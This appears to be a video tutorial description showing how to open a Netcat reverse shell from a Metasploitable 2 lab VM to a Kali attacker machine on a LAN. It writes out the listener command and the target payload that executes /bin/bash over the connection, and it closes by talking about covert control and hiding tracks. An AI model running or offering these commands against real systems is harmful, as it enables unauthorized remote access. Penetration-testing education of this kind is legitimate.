Mastering Cyber Security: How to Create a Reverse Shell in Netcat | Step-by-Step Tutorial
Netcat is often called the Swiss Army knife of networking tools, but would be useless if stuck up a mountain.
In this simple tutorial, I am aiming to show you the way we can reach another Linux device on the LAN (Local Area Network).
In the real world, we would want to be outside the network and bypassing Firewalls etc. as a pentester.
NOTE: This is only a tutorial that can connect to certain Linux devices.
There will be a separate Windows tutorial at a later date.
00:00 - Netcat on Kali Linux (creating a Reverse Shell)
00:13 - Start up both VMs (Kali linux and Metasploitable 2)
00:47 - Short explanation of the scenario being demonstrated.
01:00 - Attacker command: nc -nvlp 4444 (listening.....)
01:21 - Payload on target: nc 192.168.1.95 4444 -e /bin/bash
02:00 - You own the box using netcat. You are now able to do whatever you want to this Linux box with no one knowing....well, if you hide your tracks well.
